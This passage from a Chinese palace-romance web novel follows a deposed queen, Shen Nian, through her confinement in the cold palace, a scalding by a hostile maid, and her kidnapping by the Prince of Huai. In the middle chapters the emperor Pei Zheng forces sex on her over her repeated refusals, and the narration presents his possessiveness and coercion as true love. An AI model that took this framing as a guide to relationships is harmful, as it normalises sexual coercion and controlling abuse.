不知过了多久,殿门被人轻轻推开,传来熟悉的脚步声,沈念知晓是裴争来了。 那脚步声越来越近,接着被褥被掀开,那男人径直躺进来,揽上她的腰肢,炙热的唇瓣吻上她的后颈,脊背…… 虽隔着衣物,却也能感受到他滚烫的气息,引起沈念身子一阵酥麻,自脊背蔓延至全身。 她身子一僵,当即转身推开他,“裴争,你……你莫要碰我。” 得到拒绝,男人动作一顿,只盯着她,一言未发。 这时,沈念才注意到对方面色苍白,眼底惨红一片,暗涌的情欲,似要将她完全吞噬。 接着,他再次靠近将她压在身下,吻过来,“卿卿,别乱动,朕想你……” 沈念偏过头,躲避他的吻,再度冷声开口:“裴争,你放我离开吧,朝臣不是逼你处置我么?你就放我走吧。” 她并不想绕圈子,这几日一直在等他前来,为自己求得一个机会。 裴争眼神稍黯,攥着她的衣物收紧力道,“沈念,你在说什么?不要挑衅朕的底线。” 话音落,他看似平静的眸中涌起几分怒火,仅须臾,又被他压下去,换上一副温和的模样,朝她靠过去,声音低沉:“卿卿,你不是在慢慢接受朕?这么久了,朕想碰你。” 眼下心中的患得患失已占据心头,只有真正拥有沈念,才能驱散他内心的寒凉。 沈念向后缩去,只有挣扎,“裴争,你错了,我不会原谅你,留在宫中也非我所愿,是被逼无奈啊,前些时日都是我装的,其实我一直在找机会逃,从没有放弃过。” “裴争,与你在一起的每时每刻都是煎熬,你放过我吧。” “朝臣逼你,万民恕我,我若继续留在宫中,最后的结果只有两败俱伤,我求你,放我离开,放过我……” 说着说着,美人的双眸不停地颤动着,涌出几滴泪水,滴在手背上,柔弱又无辜。 裴争没有动怒,只伸出手捏住她的下颌,带着几分疯癫的笑,“原来卿卿从未想同朕好好过下去。” 他还以为沈念会愿意留下来,陪着昱儿,陪他一辈子,原来都是装的。 他捏着她下颌的手更加用力,“沈念,朕给你一次机会,重新说。” “重新对朕说!说你爱朕,说你愿意留在朕身侧!” 下颌被男人捏得很疼,沈念奋力挣扎,回绝““裴争,我不爱你,你别自欺欺人了,我与你在一起只感到很恶心,我不愿意留在你身侧。” 裴争盯着她,从她的眼中探寻不到半分爱意,他松开沈念的下颌,嗤笑,“好啊,好得很沈念,你知道朝臣让朕如何处置你么?” “是赐死你,他们逼朕赐死你,沈念,你想死么?” 在听到男人说“死”这个字时,沈念心口翻涌,她怕死没错,但她更不会因为莫须有的爱与恨,就产生想死的念头。 而今她看着对方像是被她的话刺激到,眸光破碎,格外消沉,不过与此前不同,他分明恼怒,却并未对她做出什么出格的事。 有那么一瞬间,不知哪里来得底气,沈念毫不示弱,盯着他,几近一字一句回道:“裴争,就算是死,我也想离开你。” “沈念!”裴争紧紧攥着拳头,忍住心中要掐住她脖子的冲动,平静的双眸中染上几分更加晦暗不明的情绪,说不清是恼怒还是情欲。 几息后,他低笑了几声,睨着她,朝着殿外冷声吩咐: “传朕旨意,皇后失德,祸国殃民,恃宠而骄,即日起,废去后位,打入冷宫,听从发落。” “无朕旨意,任何人不准探视。” 第62章 听到男人的旨意,居然不是放她离开,而是打入冷宫,沈念心中翻涌,怒意占据整个心。 “裴争!你放我离开!” 他竟这般无耻。 她要的是出宫,是自由, 可他为什么就不愿意放他离开? 闻言,裴争并没有理她,而是转身而离去。 …… 翌日,沈念被宫女带到冷宫,交给掌事的芳姑姑,并引她入了殿内。 冷宫的殿内偏僻冷清,推开门瞬间,她被呛得咳了几声,扑面而来潮湿灰尘的气息,各处都脏乱不堪,支摘窗上的窗纸并不严实,寒风时不时从破洞挤入,发出一阵阵幽微的呜咽。 身侧的芳姑姑将她的行囊随意扔在榻上,语气不善:“娘娘,您眼下既入了冷宫,日后便归奴婢所管。” 随后,她轻笑一声,把玩着手腕的玉镯,“娘娘日后可定要安分守己,太后娘娘可是特意吩咐过奴婢,要多多关照娘娘呢。” 提到太后,沈念先是微愣,而后想起当初她便同那太后交恶,眼下她被打入冷宫,废除后位,宫中的下人皆是一帮势利的,如今又得太后贿赂,必然要让她吃些苦头。 只是她不在乎,整个人就如同失去灵魂的躯壳,空落落的。 芳姑姑见眼前的废后一言不发,无论她说什么都刺激不到她,可这怎么能行?她摸了摸手上的镯子,成色上品,太后交给她的差事,一定要做好! 接着,她继续道:“哎,进了这冷宫啊,可没人都出去,娘娘您啊,就做好在这里孤独终老的准备吧。” 沈念依旧没说话,面上也是异常平静,其实她没想到裴争能将她打入冷宫,她所求不过是出宫而已,在群臣的逼迫下,她永远离开京城是最好的方式。 眼下却被囚在冷宫, 她甘愿么?显然并不。 可是眼下并没有更好的办法,逃出去亦或是活下去,只能在冷宫内走一步看一步。 如今也算是逃离裴争,未常不是一件好事。她恨,恨他将她的一辈子囚在后宫之中,不死不休。 口口声声说爱,可他仍不会爱, 只会用他自己的方式,强逼着她去顺从。 他将她打入冷宫,不就是逼着她服软么?她不会屈服,永远不会。 芳姑姑催促了一声,“娘娘快收拾行囊,收拾完随奴婢出去打水,顺便带娘娘熟悉一下冷宫,日后啊,好在此处生活。” 几息后,她收拾完,便跟着芳姑姑出去打水,冷宫不比别处,打水,洗衣……这x种杂活不会有宫人服侍,全部都要自己动手。 “快点,把木桶拿起来!”芳姑姑瞪了沈念一眼,看着她笨拙的行为,不由得叹了一口气。 沈念好歹是大户人家的姑娘,养在沈府时,从未亲自动手做过什么,眼下要自己打热水,未免感到吃力。 举起木桶时,手臂还在微微颤抖。 “真是宫里十指不沾阳春水的娘娘,不过是打桶热水而已,怎这般费劲?”芳姑姑唾了一声,“你若是打不上来,晚上便用冷水吧。” 沈念没说话,眼下这般天寒地冻的,若是用冷水,势必会着凉,到时在这冷宫,怕会没了命。 思及此,她蓄足了力,堪堪打上半桶热水,费劲提起,只要够用就好。 见她费大劲只打半桶水,芳姑姑嘲讽:“哎,真是个中看不中用的。” 模样长这般好看有什么用呢?还不是被视作祸国殃民的妖女,宫中皆传言废后打入冷宫是第一步,下一步就是要赐死。 就这样,沈念拎着沉甸甸的水桶,一步步艰难地迈向寝殿,坠得她的胳膊酸疼,她咬了咬唇,将水桶往上提了提,在心底劝说自己,就快到了……马上便到了。 不知走了多久,在看到住的屋子时,她心中欢喜,脚下的步子也快了起来。 然而就在她刚抬步迈入屋内时,一旁的芳姑姑竟偷偷伸出脚,本来她步子就不稳,眼下有了阻碍,沈念被硬生生绊倒在地。 随后,只听“哗啦”一声,水桶打翻,桶中热水大半洒在地上,余下的尽数浇在她的右臂,一瞬间,火辣辣灼烧感自胳膊蔓延至全身,她浑身疼得颤,“啊”的一声后,当即起身跑出去,将烫伤的手臂伸入屋外的积雪上。 冰凉感袭来,火辣辣的痛得以缓解,她脸色煞白如纸,紧紧抿着唇 芳姑姑假装担心的模样,“哎呦,我的娘娘,你怎如此不小心?奴婢这便去给你取药。” 待芳姑姑走后,沈念觉得没那么疼了,才缓缓抬起胳膊,只见右臂那处已被烫得通红,起了密密麻麻的水泡,幸好她及时放在雪里,才没让伤势更加严重。 缓了几息后,她迈着艰难的步子回到屋内坐到榻上,翻出行囊中的伤药轻轻涂在伤口。 伤口涂药,无异于在伤口上撒盐,疼到沈念拧起眉头,咬着唇才没呜咽出声。芳姑姑嘴上说要来送伤药,实则到了晚上也不见踪迹,明显是不愿意管她。 她不傻,自然能猜出, 一切都是太后指使。 …… 冷宫的日子虽苦,但倒也算安稳,芳姑姑刁难,她能忍,毕竟在沈府时,曾忍受江氏十多年,眼下算什么? 自此,她竟还要感激江氏长久折磨之恩,让她养成如今这般,极能忍苦的性子。 三日后,沈念因胳膊上的伤,连着整个人都不太舒适,白日里没出屋,到了夜里,她早早躺下,就在昏睡之际,却听到门外传来一阵细碎的声响。 她当即惊醒,且睡意全无,不知是谁来此处,现下在冷宫,守卫松懈,鱼龙混杂,若是来什么人,她一个弱女子,根本无法抵抗。 是以,她拿起一旁的盏灯,向门口走去,然而还没等她先推开门察看到底是何人,门却先一步被人推开,凉气瞬间袭入屋内,她落入一个宽大的怀抱。 浓烈的酒香混杂着淡淡的檀香, 不用猜也知道是裴争,他竟然来了,还饮了酒。 男人抱她抱得很紧,沈念喘不过气,用力推开他,“裴争,你……你放开我!” 看到他,她的心口便止不住翻涌, 难道把她打入冷宫还不够,还要继续折辱她么? 感受到怀中的人儿在挣扎,裴争更加用力抱着她,就像要把她揉进身体里,喃喃道:“不,朕不会放开你,卿卿,朕永远不会放过你。” 他,真是疯了! 沈念没放弃挣扎,继续捶着他的脊背,而那男人却发出痛苦的呻吟,就像是碰到伤口一样疼。 “你放开我!混蛋,你放开我!” 裴争没松手,依旧抱着她,甚至吻着她的颈间,语气发软,“卿卿,别推开朕,不要离开朕。” 说罢,他又咬了一口她的耳垂,“卿卿,跟朕服个软,朕就带你回后宫,好不好?嗯?” 只要她服软。 沈念不由得笑出声,他想让她服软,继续做他的玩物,一个随时可以宣泄欲望的玩物。 她动了动胳膊,忍住那股灼痛,眼眶泛红,“你做梦。” 话音落,她感受到抱着她的男人身子一僵,而后拦腰将她抱起,扔在榻上。 “裴争……你放开我!” 冷宫的榻没有宫内寝殿的榻那样软,沈念被扔上来时,脊背磕得很疼,随后那男人靠过来,她便向榻里缩去。 他靠近一分,她便缩远一分, 直到退无可退,被他逼至榻角。 夜色朦胧,男人眼底涌着情动,呼吸沉沉,他再次欺身压过来,声音低哑:“卿卿,不要冷落朕,像以前一样对朕,爱朕,好不好?” 沈念望着眼前的男人几近疯魔状态,死死盯着她,语中带笑,神色迷离。 裴争本来就疯, 烂醉如泥的裴争,更疯了。 沈念根本不懂他的话,像以前一样……可是她何时爱过他? 她到底做过什么,能让他错理解,她爱他呢?莫非是被迫生下昱儿? 沈念摇头,冰冷道:“裴争,我累了,你让我留在宫里我留下了,你让我来冷宫,我来了,你还要怎样?” 她真的累了,好像此生都在同裴争周旋,时间久了,未免觉得很没劲,真的很没劲。 裴争将她的双手并拢,举过头顶,凑到她耳旁,“朕要你跟朕服软,爱朕,全心全意,满心满眼都是朕。” 他要她爱他, 可是她哪里还爱得动? “裴争,我的心已经死了,不会再去爱任何人。”沈念偏过头,没再看他疯癫的模样,“你让我在冷宫,自生自灭吧。” “自生自灭?” 裴争“呵”一声,瞬间清醒几分,盯着她良久后,俯身吻过去,吻得很深,很凶,带着强烈的占有与癫狂。 沈念被迫仰头承受他的吻,感受那滚烫且带有酒香的气息一点一点,喂进她的嘴里。 吻罢,他再次贴过来,吻着她的胸前,嗓音低哑,“卿卿,别推开朕,朕哪里都疼,朕想要你,只要你。” 裴争就像疯了一样,时而温柔哀求,时而态度强硬威胁,在这一瞬间,看着他破碎的眸光,沈念确信,他爱她。 不是占有欲,而是真正的爱。 他缓缓挑眉,扯去她身上的衣物,笑了一下,“爱朕,卿卿。” “裴争,你做什么?你放开我!” 似乎能预料他要做什么,沈念开始奋力挣扎,但她的力量太渺小了,如同三年前一样,无论怎样抵抗都没有用—— 作者有话说:下面就要转入一个大矛盾。 冷宫剧情下章就结束了。 第63章 那男人都像一张密不透风的大网,牢牢将她罩在身下,他靠过来,扯去她的衣物,低声呵笑,“沈念,朕要同你不死不休。” 他面上温和,语气却带着疯癫。 不死不休, 他要同她一辈子都纠缠在一起。 沈念目光平淡,抵抗不过,只任他发疯。 身上的衣物被尽数褪下,男人解开腰封,不一会儿便赤身贴过来,微凉的肌肤贴上那股炙热,她不由得缩了缩身子,攥紧被褥忍受不堪的反应。 眼下,她只想做一个死物,不会迎合对方半分,既然强迫她,那就休想在她身上得到欢愉。 裴争的手臂揽着她的腰肢,不容她退后……片刻,他动作一顿,发觉身下的小姑娘不太对,就像是一个死物,什么反应都没有。 细碎的声音消失,男人停止动作,沈念偏过头,咬着唇瓣,知道他想要什么,可她偏不。然而他却吻过来,根本不让她咬唇瓣,声音低哑开口:“卿卿,别再咬,给朕点反应,嗯?” 沈念没理他,也没说话, 她已怒极,对方怎还能让她乖乖配合? 做梦,休想…… 裴争感受到她无声的抵抗,双方僵持一会儿后,他嗤笑一声,盯着他的神情更加灼热,“卿卿不愿么?“ 随后,还没等她拒绝,她的纤纤玉螁被迫缠绕上强劲的要枝,那双炙热的手掌掐着她,更加贴近,只片刻,要窝就被床沿磨得很疼。 不知过了多久,案上的烛火熄灭,周遭一片黑暗,喘息声停止后,榻上男人的汗顺着额间滴落在臂弯,他竟在低声闷笑。 “卿卿,朕要你爱朕,只爱朕。x” 沈念已香汗淋漓,鬓发黏在颈间,微微喘着气,却有泪水不停地从眼尾滑落,没有力气说话。 这是三年来,她怪病好后,第一次行男女之事,仍不能控制反应,最后她的身子还是在不由自主迎合。 接着,她扬手打向裴争,“混蛋!你不是爱我么?为何还要逼我?” “裴争,我求你别爱我。” 他的爱,她根本承受不起。 屋内响起清脆的巴掌声,裴争任她打来,“是啊,朕也没有想到,会爱上你。” 此话不假,裴争死也不会想到,他竟然犯了帝王大忌,动了情,爱上一个女人。 他自幼被先皇以储君培养,就连母亲都不准探视,女人亦或是情一字对他来说,都是权力的附属品。 他更不理解为何有的男人会爱上一个女人,爱到无法自拔。 那时裴争只是看不透男女之情,性格还算沉稳,没如今这般乖戾。 后来他十五岁时,先皇夺臣妻,妖女贤妃入宫,独得恩宠,起初他们之间也算井水不犯河水,直到她诞下怀王,开始为自己的儿子争权夺利,怂恿帝王疏远,心生嫌隙,几次要废除他的太子之位。 十六岁时,先皇听信谗言,他被迫出征,却不料身陷囹圄,无援兵,他拼死杀出重围,只他一人得以活命归京。 自那以后,他便性格大变,靠自己应对所有,一步步走到如今的皇位。 他不会爱任何人,自然也不懂爱,不会爱。 清冷的月光透过窗子洒落在榻上,两人对视一瞬,那男人的眼底渊默如潭,让人看不清他到底在想什么,接下来还要做什么。 良久,沈念用仅余的力气,拿起身后的锦枕,朝他扔过去,语气清冷, “滚,你滚……” “裴争,你滚。” “滚啊,莫要再碰我!” 小姑娘红着眼,轻轻啜泣,满脸写着无法言喻的委屈,且又对他说了无数次滚。 裴争抬眸看着她身上的红痕,擒住她的胳膊,慢慢挑眉:“卿卿,朕只是太爱你了,爱到只能同你有男女之事,别的女人,朕嫌恶心,只有你,卿卿,朕已爱你爱到无法自拔,此生非你不可,” “你同朕好好过下去,朕不会让任何人伤害你。” 沈念心口剧烈起伏,直直盯着他,笑出声,并抬起另一只手打向他, “不可能!裴争,我爱谁,都不可能爱你。” 闻言,裴争攥住她打来的胳膊,这时他才注意到她纤细的手臂上,一片红肿的烫伤格外刺目,因方才的纠缠,伤口已被磨破,渗出血丝,留在她莹白的肌肤上,更显狰狞可怖。 “何时伤的?谁弄的?”他盯着她手腕的伤,眼中有怒火,有杀意,更泛着心疼。 沈念忍着痛,强行缩回手,抽抽噎噎地哭出来,“同你无关。” 他既将她打入冷宫时,就该想到她会遭到什么待遇,如今这假惺惺的关心,比直接伤害更让她恶心。 裴争脸色瞬间沉下来,轻“呵”一声后,话语虽冷,唇角却带着笑意,“沈念,平时对朕的能耐呢?怎么就任由旁人欺到你头上?” “滚,你滚,”沈念不想理他,因刚刚同他做了那事,身子的不适袭来,她看他更气,更恼。 “好,朕滚。“ 裴争起身穿上衣物,没再说下去,转身离开。 翌日,沈念醒来时,已是日上三竿,她昨夜同裴争不欢而散,她简单洗了身子后,昏睡过去。 今晨又没有芳姑姑的催促,她睡得极沉。几息后,她穿上寝衣从榻上起身,走到案前时,发现案上有着精致的小瓶子,她拿起闻了闻,是专治烫伤的药。 想起昨夜那男人盯着她的胳膊,情绪复杂,她看不懂,也懒得去参透。 他何必如此呢? 已将她打入冷宫,又何必来招惹她。 左臂上的烫伤因昨夜同裴争纠缠,伤口磨破红肿起来,她坐在小榻涂着药,果然帝王的药是最好的,只涂上没一会儿,伤口便有股淡淡的凉意,不那么疼了。 这时,屋外突然传来一阵声响,沈念推开门一瞧,竟是姚元德。 见到她后,姚元德还似往日那般恭谨,行礼道:“娘娘,老奴来传陛下旨意,娘娘要即刻前往玉清观,带发修行。” “什么?我可以出去了?”沈念瞳孔骤缩,像是听到了笑话一样,“他……他放我出宫了?” 她难以置信地望着姚元德,出宫?去玉清观?裴争会放她离开?不是昨夜还说要不死不休?今日就放她离开? 玉清观虽在宫外,却依旧是皇家的地盘,莫非他是换种方式耍她? 不过,只要不留在宫中,她愿意。 终归不在宫中,她就有机会逃出去。 接过旨意后,沈念快速收拾行囊,跟着姚元德出了冷宫向宫门行去,走上车舆时,她多问一句,“姚总管,陛下他真的放我去玉清观?说没说过让我何时回来?” 最好一辈子都不要。 她愿意一直在玉清观。 姚元德笑了笑,“哎呦我的娘娘,难不成老奴还能假传圣旨?” “陛下说了,要娘娘去玉清观带发修行,却并未说过让娘娘何时回来,这……老奴也不知啊。” 听此言,她并没有彻底放下心,因为她实在是太了解裴争,此前说过死也不会放过她。 眼下忽然将她送去玉清观,不像他的作风,最后,她也没再说什么,转身进了车舆。 而此时城墙之上,帝王站在那里眼眸微微眯起,盯着那驾渐行渐远的车舆,一言未发。 良久,他吩咐:“长戈,派人仔细护送。” 长戈应声:“陛下放心,属下已派宫中暗卫护送,必让娘娘平安抵达玉清观。” 裴争抿唇未语。 长戈见帝王这般模样,很不理解,他分明是爱皇后娘娘的,可为何他们二人就不能好好过下去? 小皇子自皇后娘娘被打入冷宫后,一直哭着闹着要娘亲,无论宫人如何相劝都没用。 心中疑惑不解,长戈第一次大胆出言问:“陛下,属下不解,这是真的要送娘娘出宫,再也不回来了么?” 裴争轻笑一声,“朕不过是让她出去避避风头,过段时日待风平浪静,朕再将她接回来,换个身份,好好留在朕身侧。” 眼下不过是权宜之计,放她出宫两日。 他不会放过她,绝不会。 凉风吹来,他握拳咳了两声,“她永远是朕的。” “陛下圣明。” 说罢,长戈上前扶住帝王,他不懂男女之间的弯弯绕绕,只知道眼下的陛下为了护住皇后娘娘,给群臣一个交代,竟在祠堂跪了一夜,并写了罪己诏。 “告诉玉清观的人,不许为难她。” “是,属下遵旨。” …… 沈念到玉清观后,观内一众道姑过来相迎,并亲切地引她去卧房,屋内干净整洁,比冷宫要好上太多,或许一辈子生活在这里也不错。 观主将她排在清静的禅房,没有人会来打扰她,虽说是带发修行,但观主从不让她去做什么,平日里只按时吃饭,看看医书,有时甚至还会给生了病道姑诊脉。 日子看似舒心惬意,可她总觉得暗处有一双眼睛在盯着她,她以为是裴争派来的人监视,既无力摆脱,索性由他去了。 直到,这种平静过了半个月后,一日深夜,禅房的门被人轻轻推开,一个意想不到的身影出现在月光下。 第64章 这日夜里,沈念看完医书后,便打算早早歇息,走到案前欲吹灭案上烛火,而就在此时,门外传来一阵声响,三长两短,那是她曾同宋淮之约定过的暗号。 她心下一动,推开门向屋外望去,竟在朦胧月光下,瞧到那道熟悉的身影。 沈念目光凝滞,颤着声音开口:“你……是淮之么?” 他是她的郎君么? 闻言,眼前人掀开头上的帷帽,看清他的模样后,沈念当即僵住身子,双眸含泪,“淮之?真的是你!” 她怎么也没想到,眼前的人是宋淮之,他怎么会来?又怎知她在这里? 这里是道观啊,守备森严,他是怎么寻到这里的? 只见眼前的郎君面色苍白,素白的衣袍上沾满了泥土和草屑,袖口甚至被勾破,狼狈不堪,与乞丐无异。 望向她时,眼眸泛着迷离的色泽,似有泪水从脸颊滴落。 “淮之——” 接着,还未等她说完话,眼前的宋淮之便冲过来,将她紧紧拥在怀中,声音低哑破碎,“卿卿,我终于找到你了,卿卿……” 她同宋淮之相识许久,从未被他如此用力抱过,就快要x喘不过气来,沈念试图推开他,“淮之,你先松开我——” 她说完话,宋淮之立刻松开她,并后退半步,掸去衣袍上的泥土,使劲搓着,哭出声: “我脏,是我太脏了,卿卿是我太心急了。” “不要嫌我脏,卿卿,不要嫌我。” “是我把自己弄脏了,你身上也脏,卿卿,我求你不要嫌弃我。” 郎君站在那里,脊背微弯,眼皮耷拉着,祈求般望着她,苦苦哀求自己不要嫌他脏,就像一件破碎的泥娃娃。 可是她又怎能嫌弃他? 江南三年的陪伴,从不嫌她,怪她。 沈念眼眶微微泛红,他到底经历了什么,能让他变成如今这般落魄的模样? 见他还在使劲揉搓衣物,沈念走过去,拿出帕子擦去他脸上的泥土,并踮起脚轻轻吻向他的唇,安慰:“淮之,我怎会嫌你?告诉我,你是如何找过来的?” 她怕他受伤,不过经过方才的打量,他身上并没有明显的伤。 小姑娘的唇贴过来,感受到那股特殊的柔软,宋淮之才恢复理智,攥住她的手腕,眼神扫视四周,急切开口:“卿卿,先不要说这个,时间不多,我带你走,你跟我走,现在就跟我走!” “去哪里?”沈念被他拉着往前跑,“淮之!你要带我去何处?” “卿卿,我带你逃出去!”宋淮之拉着她往后山下跑去,显然他很熟悉路,每个转弯,每处借以藏身的山石,烂熟于心,可以轻易躲避巡逻的侍卫,就像是行了百遍千遍。 这时,她忽地想起这段时间一直窥视她的那双眼,原来并不是裴争派来的人,而是宋淮之。 他一直在暗处,找机会带她逃出去。 夜路难行,宋淮之稳稳扶着她,怕她摔倒,不知跑了多久,行到山脚下后,对方停下脚步。 沈念扶着郎君的臂弯,喘着气,“淮之,你要带我去何处?又为何停下来了?” 宋淮之攥着她的手,四处张望,慢慢挑眉,“卿卿,你等等,相信我,会有人接应我们,再等等,等等就好。” “何人会接应我们?” 沈念好奇问,她身处于皇家道观,谁又能帮着宋淮之违抗圣旨,救她出去呢? 看着郎君的神情,她心中的不安越来越强烈,甚至有种推开他的冲动,说自己会连累他。 宋淮之抚着她的脸,声音轻柔:“卿卿莫要多问,你只要记得,我可以救你出去,我们一起逃出去,逃离狗皇帝。” 她自然想逃出去,只是她不能就这样不明不白逃出去。 “淮之,你能告诉我,我被裴争抓回去后,你到底发生了什么?嗯?” “不要瞒我,淮之。” 那时,她突然被裴争抓回去,也不知道宋淮之会经历什么,眼下又过来寻她,一定吃了不少苦头。 宋淮之抿了抿唇,眼神黯淡,“卿卿,那个狗皇帝当初不止抓了你,他也抓了我,最后他把你带回宫,又将我打晕扔在半路,让我自生自灭,卿卿,他……他差点杀了我。” “那日我曾跪下来求他,我求他放过你,可是他不愿意,怎么都不愿意放过你。” 说罢,他仔细检查她的身子, “卿卿,你还好么?这几个月有没有受到他的折磨?他有没有伤害你?” 郎君的话落在她耳中,沈念心底那股酸涩情绪,怎么也压不住,她抬手擦去他的泪水,哽咽出声,“淮之,都是我,都是我连累你。” 如果不是她,宋淮之会过得很好, 是她的出现,打破他所有的安静。 宋淮之握住她的手,蹭着她的手心,“不连累的卿卿,我能救你出去一次,就能救出去第二次,我一定会救出你。” 沈念哪里会信郎君会救出她呢?三年前她逃到边疆,都被那男人寻到,眼下又能逃出哪里?如何逃? “淮之,你快告诉我,到底何人接应?” “你若不说,我现在就回观里。” 是以,她装作要离开的模样,宋淮之攥住她的袖口,着急开口:“卿卿!莫要回去!我说,我都告诉你……是有一位贵人,他愿意帮我们,当初我落难也是被他所救,卿卿,你相信我,我一定会救你出去的。” “贵人?” 就在这时,身后传来低沉的嗓音,“看来宋公子并未将我的真实身份,告诉沈姑娘。” 闻声,他们二人回过头,沈念循声望去,只见一身着玄色衣袍,脸覆半张青铜面具的高大男人缓步走过来。 他周身散发着压迫感,以及一种比裴争更令人胆寒的阴鸷。 男人的目光掠过宋淮之,停留在她身上,带着审视:“你就是沈念?” 他的目光太过于骇人,青铜面具下,那双眸子透露着同裴争一样的冰冷。 沈念被盯得脊背发寒,下意识攥住宋淮之的臂弯,问道:“你……你是何人?” 男人笑了一声,没搭理她,见状,一旁的宋淮之将她护在身后,并解释道:“卿卿,这位是怀王殿下,我落难时幸得他所救,而殿下在听说你我的遭遇后,因为同样恨那位狗皇帝,愿意对你我二人出手相救。” “卿卿,有了怀王相助,你我一定能逃出去。” 怀王? 沈念心下一紧,她知晓先皇除了裴争,还有一个皇子,乃是最受宠爱的贤妃所生,后来裴争登基,便将怀王视作乱党,一直在被追杀。 他竟会出手相救?这份好意来得太突然,沈念不信他只是因为此理由就敢冒风险来救她。 那样的眼眸,根本不会有这般好心。 宋淮之牵住她的手,“卿卿,我们快同殿下离开!” 怀王把玩着腰间的佩剑,“是啊,沈姑娘,我们快走吧,不然一会儿那帮道姑发现你不在,肯定会禀告狗皇帝,到那时我们都出不去。” 沈念稳住心神,凝视着怀王,半信半疑问道:“殿下为何要冒着风险救我?” 她不解,这位怀王尚被通缉,竟能冒着风险就救她……实在太怪异了。 怀王轻笑一声,“自然是我们有共同的敌人啊,沈姑娘,你不恨那个狗皇帝么?你恨他,我也恨他,自然愿意帮你逃。” “何况,宋公子一片痴心,跪求本王去救你,对此……本王甚是感动。” 宋淮之站在一旁相劝,而怀王则死死盯着她,有那么一瞬间,她感到对方眼中那股潜藏的杀意。 “怀王殿下多谢你好意,不过我不想走!” 她的直觉告诉她,怀王更危险,绝对不能同他走。 宋淮之皱眉,“卿卿!” 而这时,怀王毫不犹豫上前,抬手打在宋淮之的后颈,他闷哼一声后,倒在地上。 “淮之!” 沈念惊呼出声,心渐渐沉下去,怀王也不再掩饰,向她步步逼近,“不想走?眼下可由不得你!” 他的眼神就像是鹰隼盯紧猎物。 沈念转身要逃,却不料被怀王攥住手腕,她奋力挣脱,却不料脚下一滑,不慎跌倒在地上,膝盖磕到尖锐的石头,霎时间剧痛袭来,冷汗涔涔而下。 她没力气,只一步步向前爬去,尽管这样,她也要逃离怀王的魔爪,“你莫要过来!” 怀王俯下身,捏住她的下颌,仔细打量着,戏谑出言:“你的确有几分姿色,怪不得那个狗皇帝要争你,还有方才那个废物也要拼了命救你。” “你还真是红颜祸水呢。” “你莫要碰我!”沈念奋力挣扎,可她越是挣扎,对方捏得越用力,且另一只手抚上她的侧脸,语气很轻,却满是寒意,“不知道你在狗皇帝心中有多重要呢?他能不能为你付出性命?” “你放开我!” “我在他心中并不重要!你放开我!” “你别指望用我做筹码,裴争恨我还来不及!怎么可能会救我?” “啧,还是安静些好。”怀王声音冰冷,迅速抬起另只手。 最后,沈念只觉颈后一痛,眼前顿时陷入黑暗—— 作者有话说:抱歉,没更新,会发包补偿,[可怜] 第65章 皇宫,太极殿外。 沈念失踪的消息传来时,裴争正站在殿外看着挂在廊下笼中的雀鸟,他拿起铃铛瞬间,那鸟儿便乖巧地啄过来,铃铛随之发出清脆的声响,回荡在整个殿内。 逗着逗着,宫人走过来打开笼门添食,这时,那雀鸟冲过来,拼命撞向笼门,原来此前它只是装作乖顺,只要寻到时机,便会冲出去,竭尽全力。 盯着笼中唧唧咋咋的雀鸟,裴争眼眸半眯,唇角缓动,他想起沈念曾也是这般,为了活命,在他面前装乖顺,后来不装了,露出凶恨x的小牙,恨不得吃掉他的肉。 只是她就像只兔子,发狠又哪里能伤他分毫? 若是此前,他定会将“发狠”的沈念好好教训,可不知从何时起,他对她根本下不去手,在意识到自己对她的情绪不对时,早已为时已晚,此生非她不可。 盯了良久,帝王敛去眼底的温柔,吩咐:“把这雀鸟放了。” 身侧的长戈先是一愣,不理解帝王怎么要放鸟?尽管心中满是疑惑,他亦上前打开笼子放出雀鸟。 而那鸟在离开牢笼后,拼了命地飞出去。望着消失在半空的鸟儿,裴争想到沈念会不会有一日也离他而去? 不,他绝对不会允许此事发生, 他们之间有孩子,她一定会一辈子留在他身侧。 然而就在这时,看守玉清观的暗卫,快步上前,单膝跪地,回禀:“陛下,大事……大事不好了!娘娘……娘娘她失踪了!” “什么?”裴争眼眸倏地一变,上前揪住暗卫的衣襟,压低声音:“你说什么?再给朕说一遍?嗯?” 帝王猛地靠近,目光冰冷,阴鸷得像是要杀人,暗卫被吓得一身冷汗,再度回话:“陛下……娘娘,她不见了!” “具体说!好好说,怎么不见了?” 裴争冷着声音,难不成那么大的活人,能在道观消失了不成? 再说观里戒备森严,她到底如何消失的? 莫非又是逃了? “是,是。”暗卫讲了几句后,从怀中取出一封信交到帝王手中,“陛下!娘娘在观中失踪,这封信是观外一孩童送来的,声称与娘娘下落有关。” 裴争上前接过暗卫手中的信,打开看后,脸色骤然大变,咬紧后槽牙, “裴昭!” “长戈,调动御林军,朕亲自去救人!” 长戈从未见过帝王如此着急,当即应声:“是!属下遵旨!” *** 这边,沈念被怀王打晕,醒来时已是翌日辰时,她睁开眼打量着四周,眼下身处于一处破庙,嘴里塞着布条,手脚被绑着不能动。 她试图坐起身,身侧的怀王听到她的声响后,立即起身蹲在她身前,取出她口中的布条,咬唇玩味地睨她一眼,“醒了?” 布条被取出,沈念呼吸得以畅快,喘了几息后,她对上对方的视线,毫不示弱问:“怀王殿下!你为何要抓我?我在裴争心中就是一个玩物罢了,分文不值,你指望着用我威胁他么?” “他是什么样的人,殿下不清楚么?他怎能为了一个玩物般的女人,对你妥协?” 还真是高估她。 怀王扯唇,他的笑同裴争很像,还有那双眼眸,同样透着几分森然,不过不同的是,裴争像火一般的压制,是帝王气势,时常逼得人喘不过气。 而眼前的怀王则如阴沟里的老鼠那般,是病态的偏执。 他捏住她的下颌,嘴角勾起一抹讥讽的笑,“你不知道,那狗皇帝天生就是个灭情绝爱的怪人,而你呢。是个例外,是他唯一的女人,还让你生下他的孩子,显然能威胁他的,只有你。” 这时,他忽地凑过来,贪婪地嗅着他身上淡淡的梅香, “你不仅有几分姿色,还这般狐媚勾人,” “你不是恨那位狗皇帝么?他把你强行夺入后宫,让你同心爱的废物分离,不如你跟了我?” “我会怜惜你的。” 沈念心口猛烈起伏,偏过头躲避他灼热的呼吸,一股难以言喻的恶心涌上心头,“你滚开!我就算是死也不会让你碰我分毫!” 怀王捏住她的脖颈,眸底郁郁沉沉,“怎么,那个狗皇帝能碰你?本王就不能碰?沈念,你以为本王会碰你么?” “他碰过的,本王嫌脏。” 说罢,他将沈念推倒在地,冷笑,“你最好给本王乖乖待着,不然本王就割了你的舌头,划了你的脸。” 沈念被手脚被绑住,挣扎着想要坐起身,怀王却抬起脚,用靴底不轻不重地碾着她的手指。 指尖的剧痛传来,她忍不住呻吟,冷汗涔涔而下,浸透后背,却没哭出声。 